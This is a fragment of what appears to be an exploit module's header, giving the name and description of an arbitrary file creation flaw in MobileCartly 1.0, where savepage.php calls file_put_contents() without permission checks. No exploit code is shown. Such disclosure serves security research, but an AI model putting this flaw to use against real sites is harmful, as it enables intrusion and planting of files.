'Name' => "MobileCartly 1.0 Arbitrary File Creation Vulnerability",
'Description' => %q{
This module exploits a vulnerability in MobileCartly. The savepage.php file
does not do any permission checks before using file_put_contents(), which
allows any user to have direct control of that function to create files
under the 'pages' directory by default, or anywhere else as long as the user
has WRITE permission.
